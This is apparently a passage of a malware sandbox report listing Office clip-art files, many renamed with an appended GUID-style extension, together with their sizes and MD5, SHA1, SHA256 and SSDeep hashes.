SSDeep: 48:v2mAvY3UfLN0cNT40GQ/+FvE7V9bhE8Y1YvqNIhRe:OTvY3UznKvHFeEX1Yv6aRe 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00092_.gif 503 bytes MD5: d40477f54ce372a2d6950da881863022
SHA1: 330a1b255840efa5e710a17d276c2de122b6b2d0
SHA256: ff09de98f21606d39455fb6e478aa11c8d8739856eb841dbaa788736eb3f896a
SSDeep: 12:KDTSs6wV0IBYFQK0/qpkA4fqo3wl4/qpkA3l:K768FBcQ/ci9wlCc3l 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.88 KB MD5: d41eb3a22d1f3c8ffb2423a40e51d61f
SHA1: 050ee1959c18365d1af2443a3139a44bdc9e338d
SHA256: 4553bd866befc95f4dd8601f4f11fa95fc7201c82bb2d46e2482d6993d3128ef
SSDeep: 384:iKW5XU4D1spHf/BuCJnO+lnoerL2TBTX1oI:lwXU4rOnO8noMmF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.86 KB MD5: ba327b62e2958b96012abb7b18b7e124
SHA1: 1af1194a6621b8356e5d9d45abf24ca342d29868
SHA256: 60a732b41d49b843d072c24c2a2d733a3873db165a3a1dc2f9b0ef56e0aa78f5
SSDeep: 96:rW1ycaSL3VQ9gS6NHArG80QEsH/NQEKLC5mLUw6PT9WpMwJojPuvHFeEX1Yv6aRe:S1taWlsue0QEtEWAw6PxWpMwyWlJX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.60 KB MD5: 8e00b9f6d312daa34c4e3d174651683b
SHA1: 887e21fea5a07dfe85abff13eed3ca44233da8f4
SHA256: 98a3160d4f7a0e08cb4e665835ccd455203aa87db2c56e72564082a8d2cba3b8
SSDeep: 96:Rn0WNvn2DgP/B7EkhCwFaSaS4uF53hHQilLFxXq845caPnteya3Bc/lvHFeEX1Yg:zR7Ek5X8a9L/UD+GlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00142_.gif 14.95 KB MD5: 08fd30bcabc7e925e4c9c6a2ad81159f
SHA1: 96b072dd7933492aac05a6f4b72eaa6505f24c0d
SHA256: 4b2dbe47eafef62288bfdac3d4d2b2c3f940e28352d17fcb93c946b7eacd79a7
SSDeep: 384:pAD2kMBFSNqKFSbbFSXfFSUFQPM0aLFOU56Fi8F7w6NFSm:pFkg4qK8bSNuaLvkk8Jw6ND 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00154_.gif 5.19 KB MD5: e1279769f3cff9ed859f82228f7fbaa5
SHA1: c6ecc70cd36b3d55df617b80c33261932db15720
SHA256: 04056983aa58c525a8a2df874f1d04efaa929ed4441e1eacecebd230d615c608
SSDeep: 96:P42ZQz2ec4hBwNl/oR82ZQz2ec4hBwNl/oRyprALxlarZb:PjIJMNpo5IJMNpo0a9AF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.66 KB MD5: 3a10f26397d6f8f21385ec9ffa3dc6f0
SHA1: 1f2c8672be59f0bc5a32bbf366d58f721f05ea03
SHA256: d7f9c1a5dceafacaba0837526b7904083389199450ddffd80065e8a94ae8e635
SSDeep: 192:HvxHw+IcyPfW5OXQmfq0AchakQhR1BU5TvkMlJX1o/A:P5IlW5OA6q0AchaRIVvkMTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00158_.gif 4.91 KB MD5: 2dfd3972afef8c566fa65a739b425322
SHA1: 03f2f283e96a74f52fd18331ee6280e9aad39c7e
SHA256: 7bfd9ce75a0f9556ec18c5ff700e387a2f195ceb97b45713b90fa62e73495771
SSDeep: 96:6fDkHDB6DYMhVvfDkHDB6DYMhVrlp6vVXmwl2F6ATrKs16YzeZymwlX3DTXlWLzT:4D0BF0V3D0BF0VngVK4uR1kUlWhRyWtT 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.58 KB MD5: 0478a6f6b451da10c741e1ba2155dde5
SHA1: 0eac9b6e61dd1688b20167ebb3adaf1c64621a62
SHA256: 5f133f611cc2614658971ffbc81da29cb031bafc13fe72dbc9f32c034dc8f049
SSDeep: 48:H0U3O8Zs5MdhzT6GRjNGQOb3VmOZzdM5OnY1P40GQ/+FvE7V9bhE8Y1YvqNIhRe:D37HY/Vfm1QvHFeEX1Yv6aRe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.28 KB MD5: 26ae0dc5ffa09214ba0b3684d323d15d
SHA1: 8d32efad1bed1e11f07c3759401d98571c9f5924
SHA256: 024a9f592a02bff5517b512db6f72ec68e502e7debb2ad371aeffbfd80ed7174
SSDeep: 192:WaHfaldHM44LlXQeD58ghw/7HkVN0creSt5qFlJX1o/A:ho45XxeyEQnBeSt5qFTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.41 KB MD5: 867ffc6f494171fdb0ca71eec5be4b83
SHA1: d9e4849d83b0ddfaf767f892988387e986e39738
SHA256: 0e84f350194a84de7d5e2b7e62896cb46b9fa27bcfb9d43a4c8b1efe85dbe84a
SSDeep: 384:DaCxvAgY7Tod4fVNFwp0hdv3+HSTwVPcEuRLG8Zm7sRTX1oI:DtG7TH9Nap0hdf6STWEdhGCm7cF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.25 KB MD5: ce43ab7c7f0460086371e7487d35c127
SHA1: 16c0c0d127a8a500bb9ced3cecfa11232a08b4ef
SHA256: 9650c1c837c7a9d67e66bed0d4afdc1671b4d0e19a8db8f90b8b1222ae867611
SSDeep: 96:y2f0DMEzaLlwsUsRB3EevMT5mHM70zLDE88rU3kVpvHFeEX1Yv6aRe:X0DNaqsz0eK4MAlpUVBlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00169_.gif 5.25 KB MD5: 55fe9db031fe62ca6693d9b0856253cc
SHA1: 8ac2cdeaf0ebcb5416d622dddc80e9a4a569a12a
SHA256: 95f66e46c724222060e6569d1c054013c1bd596ca8221d803d4fca79f71b1de9
SSDeep: 96:4AIMAEMQ7wUYQn1WHaefAZQ27+Qn1WHae4ZZ4tAE0R5njJlQn1WHaeTFykxB:oMAKn1n1W6efAZQ27/n1W6e4ZGarjJ6Y 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.50 KB MD5: bffc2227c032240411b6a3981b139bc7
SHA1: ec47119a3bb8da2f7fcb01a6b3d12baa2430228d
SHA256: 9706c3403727cf9b7a943329bf2da27154bb02124f083aa6518e60d704cda8e7
SSDeep: 192:mdP1X3lcTXQfSnSEQL72IqHmUZOuCofFIzFW0/DlJX1o/A:QVmQfEK7cHPZTfFIzFN/DTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00171_.gif 4.90 KB MD5: 937eee75923f2c8a4da2f29cb53b1c26
SHA1: e0af83b6204bf5d4f4f11c328b822713b9dcb9af
SHA256: 8d3c1d0b5dd2d5aa0f9c1c63bc3eee57b66cd9fc4ae3eb095735fa6ba1cf24e5
SSDeep: 96:JAIMAEMQ7wfKqJu9ibRwBNosQvAa24zKkxS9w1HiEoq3VrWUxe9x5:tMAK1qci2GufmOct3hWUW5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.75 KB MD5: ee4ac2f97fcb1518faa769654a05e09d
SHA1: fc71ce85f687a3c88adc8fd886690e0c6533855d
SHA256: eba64cc29794aebe5fe329231ca7bf05ec095f3bd5c80c06a79adcb2ba4870d1
SSDeep: 96:c7qUW4GbQtBzOpWpZ4msNXxKkvVJyBgzFaEIc7jPpLQPPZEE6vHFeEX1Yv6aRe:c71W4GMtA1h7DgBgtfj0HelJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00175_.gif 3.30 KB MD5: af8324028e2f56612a407f2219bf94d9
SHA1: 098fa9683375bc93229ec20bfdf83fd74089e6a3
SHA256: 24a72fa325e322809d4edc1a9250b44b7aac211ce5baf7a21a5112e78d65070a
SSDeep: 96:vlfNprrPO0sxPIb3BvP0EKalLdan2U/79xs:TxG0sqb3BAn53s 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00853_.wmf 20.10 KB MD5: d9484dba80b5ad24bb464233681f7236
SHA1: 168fe8d2e3cb0cbf5d3636b664230a82201ba758
SHA256: 63ffec002c6c7c0b768d013c48a73c34d3b7856b4105777a2c25594e6f6932f6
SSDeep: 384:X5be/I9XLsZFmYyGPFWE32Z7kKbrwaBFa9ji/rW9i4S3dF46kHyDHML7oSD9:XdUG7q0LIV2Z7kEUaaA05S3dFnRtSp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 21.56 KB MD5: fd1fc556939b6220f7ae364f7167abbe
SHA1: 06c46094b1c1e08eba0064d9feb813ef0b83e1a6
SHA256: 8369d23ab240b926fc518a39f277d1f22eb44012ae186340e545511c13929969
SSDeep: 384:GO5gHk5KhxoOEMLanSsSzlMPVcDjtjWk4dY5G7BVmd1c8gX4HvIXO/gmiFYX4ZZ4:tgoOFLySrScv92ke6E8gX6vIeYmiOXW4 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.05 KB MD5: 9170d90ccc504be23c5f4887d1655922
SHA1: 4e19a80c9a2cbc47f09332179eaf35e351fb62f9
SHA256: 856a0bf84028940c2e91fd866a43b24bbaeae95b70e1eb6606ba3200c197f935
SSDeep: 192:yb+vAiMjgX3A5pUDAsiTlZ9KWHndbLVc7miANyzkFR3Y6fHIWnlJX1o/A:8zgXpDlih+WHbQmjNCkH3YGIuTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.38 KB MD5: f4d1db813e4d17eed3bde496d5f6235a
SHA1: 6eb915a709af7084bc21d83caf3ed8c781066cab
SHA256: 83668e8782b8256e40f49b1e2cf0ff10bbba7af1cbad2d55327b0f9b167afbc4
SSDeep: 192:JQ8dlKd1ETGRt3LMUo227EvW5hvF+wRDRHKEurlJX1o/A:JQ6zTImUo2lOvtlRpKPrTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01039_.wmf 3.27 KB MD5: dbdabe4a3100b18bf1e70c83144c24ad
SHA1: 79b958867c3ced706d6a73b54d550a57e9b6a101
SHA256: 69f6573587cbfc0f7a1a597c281282764aa18352314009ed53f417f1f45486bf
SSDeep: 96:s1WWWYQ16tNGScAE/IdmOVZmllyrwpLtsm+ruuYk:m1WYQ167GrlAZmllyqhsm+ruuYk 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.02 KB MD5: d43825b89f3e2fc15d6e0db12d9c4cc5
SHA1: a2ba7e3a3d47fcbf23c817e56e3e34e66e5f2346
SHA256: 0fb70541195352bc18daed1d6c6ad8da383fae32b127848cbfb6f541738c5700
SSDeep: 96:qYCmrYCEGZhuYTWGV2uh0rKvfhSSpNz5NSvHFeEX1Yv6aRe:/CsbEiTWS0rKvpSSpVWlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.25 KB MD5: e75b22231b544c6b04c51ffa40b17315
SHA1: f8d88440a452bb0dfa693192a0afbac4cfd4b0b0
SHA256: 588138d60bbb8b433e18cffcbf01e627b9cc74986d064e941d419f779cee789c
SSDeep: 192:wx/3Ap+HMzpyrzlpWg4pEBO/eyEdVexrHizmEg9W05lJX1o/A:Vclsm8/REdVCH+mE52TX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01084_.wmf 1.79 KB MD5: c5612b2d5032988549aa628a7d54aba1
SHA1: 4caefc3b8957df523fdf5489bab39f2e0e227015
SHA256: ddd5850c945b5dec1a1ccb707aa4cb7dc5340d642069ddd2b820dc4e4878537b
SSDeep: 48:xBK4/rhS0SnQHOmQ+W0nWhUYkKPRotkLkYl0LkyLkOBwTLkYANc:xB1NS0SQeN0UxNubY3jaYAm 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01173_.wmf 25.72 KB MD5: a55b3d333cf3fa4df944cc13301af5b6
SHA1: c3995c31d233e2660cc6c47e56f498b3ae650cb6
SHA256: 4232786f3f6515adcd13a6f733792c0b8f76562e1e4a57e37fb4b651863238a0
SSDeep: 768:tm7L7wO+ec57BM0aRxDy6SwQAz4GKUZpqjsk5FcjZUSang2CB7eno4C7+GLGVrQ3:QTJK1AoOTPHAbDEayR8ECfQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 28.67 KB MD5: 15cac84dcd5a2855304de5c11bb0fce2
SHA1: 871a81f7bc153f47424886591dccc3a269c80c23
SHA256: 92ed5066968053b3671457d4333beb6696fc770665cea414a52fe620e0e31c59
SSDeep: 768:sAcQjdRtT5nU4lXtOQoeAf71FrEhGiUAUGaY8F:s/Q9T5n1X6j1FJPAK 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01216_.wmf 5.70 KB MD5: 814fecc38e98e50122a7985c9ffefbc8
SHA1: 3e99b20356b70d864d2691f2f9f52e271a636363
SHA256: fba81e3d475814bef77fa2d1cb4a8a7fdff55f5fbe17d255c1f2f62b4c0480ad
SSDeep: 96:eP15xV7KmcNgcIUosyf/ebFmSz2GVFXThlGPVUHXy1FG2UHXy1FGnjVsBkL8cWeO:e5xVGm8g9T/f/5S6GjXTPGPVJ/XJ/mlS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.16 KB MD5: 1d6d326ceae963341c2747ad57286af9
SHA1: 6e8f03dcf36587531d23dca9191ecc325c4d4f5a
SHA256: b8b25ce119e69a6a2331e6cc4ad5b3e3cab73077b4d3bc5d4fd2eedd7a54fb45
SSDeep: 192:3rRhLaRa7EN/1c8LpeNdGtUKQ/swk/IlJX1o/A:3d1aRMSNjLorV/swZTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.16 KB MD5: eb43ae406f18be405bc9cb9c146104e0
SHA1: d6d102bd56167c6b5ced1a93479ce1586cac1e8a
SHA256: 7521e19fb37af3e2a42e42d9a5808addc57255621ec174ee583af64c176125e4
SSDeep: 96:WaPydpy8JI6EXinulv/Dqi8JWw03RtKyK+JR2vHFeEX1Yv6aRe:BPEkmI6EX6ARWoa+JRalJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an02122_.wmf 7.36 KB MD5: a839a7edc756c1e23730fab4966874dd
SHA1: 559ecf2a4182660945e94c6df8e9700c55b5be5f
SHA256: 2ab179a87a40f130333cedd289fa9f733181184b59004d5dfbd933cd56c04306
SSDeep: 192:n0LUL84GibfbPE1cRMhvH8bTdpM+KsbTKjjN6qNcBC7d:nGULrGU41cRMhvH8bT4+JKHN6qNK8d 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.83 KB MD5: 807d20247133ff234980313d6214d411
SHA1: 9c7d5d613058ac9acc6fe8179ca10102ab97649f
SHA256: 4d1c73073aadbd73792f68831e9eb88cc931bc48c2cac459bde523fa167604a5
SSDeep: 192:QhuUwAyprMGP+3TgjKrhpJ6HWow3GgzFt01nIEGlJX1o/A:TBAyYG28j4SHLmzFu1FGTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an02724_.wmf 2.06 KB MD5: 3d2a5710958580181e9c6a7dfc65c062
SHA1: 51aa93a32f635188889830e25b619509feada393
SHA256: dc8b3fb3b79b8d2731cddebab1fcb126c7bdf87ea46d4618fe52dc995685d942
SSDeep: 48:FJCsK4/yiLpzESd0UdUZN1GKgBzC9aA9qTm2JKa5Rc:Fn1yqzB0UO8w9aAITbKaU 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.75 KB MD5: 4f35c39a05e9f696e9b2bd84433b7eb4
SHA1: 00592cf13ce8ad4d6d668d3946cde1492dfcd6bb
SHA256: 656c04a16ad604b7254304f205cff169021a6139ca3d1f6a20c1f520dda5deed
SSDeep: 96:c/D/Lrx4z7CybpDk9jKfMdvHFeEX1Yv6aRe:cL/LN0DOPlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04117_.wmf 5.92 KB MD5: 0f2f007a02fb84a4708f7eb9c0345d9b
SHA1: 5ed66b0a32e782c501ff0f4a674958b1d266056c
SHA256: 979784b3f04f5a53764965154e3f42a6e5e4aaeb45b7f4fabf84effe3cbbe61d
SSDeep: 96:sZJpIcnoaD1CF1aq43mXyBLS+2yq84zBhr4lb5aY6jM+qxaZ4uDT5GgboBTDCTAw:szicnonF1fXULX2yJ4dhshj6jM+qxaZh 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.38 KB MD5: 2c902a7a98a449b025b4820372663a93
SHA1: 62fe977f23500be3f56e2d30599471315686e607
SHA256: 3058003fef6866be00778539e1635312462b476e8338539b650de2156ff8bbb0
SSDeep: 192:2WiH0/E5WW5XZ1SqMvjyweE1VWJeVMlJX1o/A:2Wi5h9Z/MNnYcVMTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.94 KB MD5: 3b40b8b0af65aad7773904b1e256470f
SHA1: 2cce0f0e40c89fe42794c164ea301bd280825287
SHA256: b24d098ec5dacb7c38d309c1bd3d44c8e753f6a2b351dbd4b3610b2a8ab19939
SSDeep: 192:28oaZALbCdtOzLqLEwOPxYZf47lAR9jB0isYzBwmhTd0IlJX1o/A:sa2PCd4zL5wMm4xARhlwoTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.53 KB MD5: f7dd951f6a9faccfe7a66356a2baa74c
SHA1: 298c1d878fe7e6b8a810f99a4f7d4faf65cbc6e2
SHA256: cb9d2deace89745eb558e4bdf67ad18c03988e2e72b1a66982f557949c56f371
SSDeep: 96:vHZghADt0ATVHJOPVxWOeSJbhXdydVzCi67Kso8cpFRKvHFeEX1Yv6aRe:vHZJDTTV8P6V6d2VzCpKs5cFROlJX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04225_.wmf 8.29 KB MD5: 426664157cf73294ef94faebc0369fdb
SHA1: 99c46876ad5a1be398f76895e12b2c2c6a27617d
SHA256: ad4efcbf04f32c59e181b7e6d3a14acd821a0202eff0d99775699087d358dbb3
SSDeep: 192:WlrRZlvQ8TO0NdCSCeLT5CQKMpRm8q7YE8tMoGu+Ya7CcfBba/b7ES586Jt5dcYc:WlrRZm8TddHCeLoQKMLmd7YpuE+t7Cyh 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.75 KB MD5: d368377a9104cac7dc5bcb7ac4363fda
SHA1: 5f9849cdfe53a7fa3f26ef570ad53307f21025d6
SHA256: 6df728abd32d2c26ff1dbe34d131e00e0b0fcf1cef439159a4b30920e463f9d4
SSDeep: 192:3AxWG+dTbtVDAp4QTfHWMHgaGg0wTmCJgMVptgq1zOlhHj/SCtxb79mhTlJX1o/A:wxW9dtaZTfnHgomCh1Kll/SO39qTTX1F 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.08 KB MD5: c9054c9af6cc702173e95fb4468ce5d6
SHA1: 298222008bd56e0a1fcb0aac330bd18adeda3c90
SHA256: 267ec4fccd6811704330ad9a5d778aac19d84ddd8718b1deea15f81b7ae3dc6e
SSDeep: 192:yXJH5pqa30h8PE5mguffTcQSwuXFxglrHrk8x0yUiyZtgBrahDvdt2NIlJX1o/A:y5ZpqSUmLAJXglrzx0C8gwvv22TX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04269_.wmf 1.97 KB MD5: 76fdf2ceb0ecc63802f61b807736bbcf
SHA1: ade2149a95dea7ebd584667c53d54c17358f7bb2
SHA256: 155c8434b0437a97bfe9de65b4c9388314802eed2751f5a882a3c2406a415acc
SSDeep: 48:1eaB4gYT8oKoCEAEHMK5YT2XMN4MDi+anW:QcJjpHT284BW 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.44 KB MD5: 270290226cfd4788adc5844cb4bb7fd0
SHA1: c99775b1d63cd31eb40c3e53e0f92d1130a15ab3
SHA256: dad9258dd3bd46879a7031b0c754ea376c8f98c0ae863f0c97e600909336cb1d
SSDeep: 96:S3J17g2sTPRWFWxaPhUd817zYWAis/AhfkvHFeEX1Yv6aRe:SnPsTp2Wx98ZYWAis/AhfQlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.89 KB MD5: 108786d302baba390117ddfd8ec6082d
SHA1: 733250e75dbf147efa78c3ca59077db0b426c719
SHA256: aeef49361de62f776a94b8c7e10f40d7f566098189d176a4b90a6acb656e237a
SSDeep: 96:+hdor8YJdumh88MISH507J9mu/0oKBlTvHFeEX1Yv6aRe:+h6BJ4mNnSZ099mu/XK77lJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.74 KB MD5: 4dcfa5d4fb477be8aeff0aba5db77f45
SHA1: f9d30417eeeee9e661a28dd40e3d21ddeb1f2f6c
SHA256: 9a31e668fb37bdf679cfeefbad36aa625930c6582e21b73248eb54cb7d6a44ab
SSDeep: 96:4lUM+elUfcYlvbfH1W52HjFb2jgiscPxT+ItPyvHFeEX1Yv6aRe:4lU7rvLg52JcJklJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.88 KB MD5: e7908036a7686a1f62a1df26c9db125f
SHA1: 07efd7472041248f994d1e08f08e98f071510120
SHA256: b778b471c58c9d9182530b871120e62213872bae2c728f13beeb3576e4dfab74
SSDeep: 96:wJtus2ysn2bF59lR8Lrwry8UEbIRjMsudJsc20Tu3g7fpB3z7qc:GQ32bF59lRi0ry8nItnudJsc2Ouw7fpN 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.89 KB MD5: 6df6ff8a87f8b668d56c210f69e7194d
SHA1: 843ec667e0330e925fedf1cb11d5ba8703b23dc0
SHA256: 9287105539bc59ce2c25b84b500c1c92ad72d12264e05a93dc8060713c9f412e
SSDeep: 96:KJnGwkn8L9PlWxvCDhb0dIUlcePYJFA5da5oP24IjCW0FUJQzlIuXoxt:QGd8L9COyIULPYza247FUgl9XMt 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.21 KB MD5: 800cafc58c686ea77cc690f694d1077f
SHA1: 8c282e0203907f20e2382fe1f8d450e610d06438
SHA256: 80c4faf77b998423fec4f3e8c6dd7a06f7c2af52464cfc25a323b876ab74bb34
SSDeep: 192:RprCIC+CUC+CUC+C8kYJQQQQQex6KLRvs3DMA9WCuWCp:RpOIgUgUg8kYJQQQQQex1R5A9gp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.26 KB MD5: e17493b59f429483d0e4f82a009e3574
SHA1: 6a6378fdcb35d8e5d0771c4575161695f01337f6
SHA256: 1885dd12afda150c65493807a723585f966ec374bd62887acc59f6e16bafcdc0
SSDeep: 768:GiwsdfX0GPPXlHM6OBQImAcm03LvQb3TiRt35MwRPE1HhYigq49/rsiTxmIEyqV+:wifPDVvNHQKQ1BCWBEd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.80 KB MD5: 72f40f0f42540debb1cf088e9dedd3c8
SHA1: 711dd5ff2a063a94e7222559f1cdf0556cfaf640
SHA256: c3133ad7fe3dac30578040210e9943c4d2d5c18864f44fdbe02488c13558cee1
SSDeep: 384:3oVk2+VIKj58FUO8u67wmmHqNc5XTfe8eLZAzy/X7RV4V+RX/Ldh0llj1/9/EY7S:3Uk2+Vt58+O8u67wmwqNc5XTfehLZAWD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 16.83 KB MD5: 361ec42b304d42bb30c82157fc4876ac
SHA1: 07b49dc5ac0b6b477a54b48b866a0cf53c791fb7
SHA256: 26b57cee23b72c0223a47228382c2e5ab549c144240acd64998a61b9f18cd491
SSDeep: 384:xL55ROgj/lrYyB8AqyFlxjM4bOzAAI9fTguitwCX7L:xpLZrHuAqGxHOzPjtwCX7L 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.81 KB MD5: 714977129caed5cfd38159c16830a7ea
SHA1: a2108a5236929c8809c8a8767fe1bdbd2d2bb17f
SHA256: 761fc87339ee96737c22125a75a2c0f76a0e4d0580b41a993ff720235d1b7afb
SSDeep: 96:0JQiGD3QayRZmJUdsYUHnIsSmLw0BhQLHC2ysjTYdlmQD/qorR3jT7d:6QiGsayRZGUdsYUHIsSms0BhQLHCtsT2 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.97 KB MD5: 85c3cf87edc67a9ebbcddd17a3ded333
SHA1: cfe2bb790e47e20dc2aca9b2bf2b562c68640e0f
SHA256: a90d54883ae20ed153b315da22f924b3bec56705e6c63454e86bc8c9a3aaf6eb
SSDeep: 96:wJ1V0urvwKkSiZ18kjV9YtmBy+s5tINZCZjYPP4Zb6tmzcr3m6:G304YnSiv8SXYtmsXtgZCZjqPA6tmzcp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 39.26 KB MD5: a33c32182ab424a0958ae1bc6df3738f
SHA1: ef6c144549ef6d53260d3ed08d75540310568a25
SHA256: b00519c20905ec40e2e0ffe7f9368095d9adfd233bc0a16d620033c0a0d5ff4f
SSDeep: 768:PzD607BWZBPz43+ZS21BYTpvAPCP0zwITG/wBWOKEe3Jqhc:P607YPNql4KP0z9S/i7QJf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 46.67 KB MD5: 16514f3fedac5822de85f4e735f509ff
SHA1: 1a270ff242ab2f16a5697a19352c24b2a5f78b17
SHA256: 428a4838e436533b62ff7901f36f880f0ecc9f9690909c2184d40f14a34d89b0
SSDeep: 768:GNf5Co/PqvU+Dqf/f+BQ7kCHEC+r7lHuAA08lMHojdJhm6RqweaB59h0Vj+UGbQf:uf5C8PqszP+5lrhHumHcdCKqwwPGbQf 		False
...
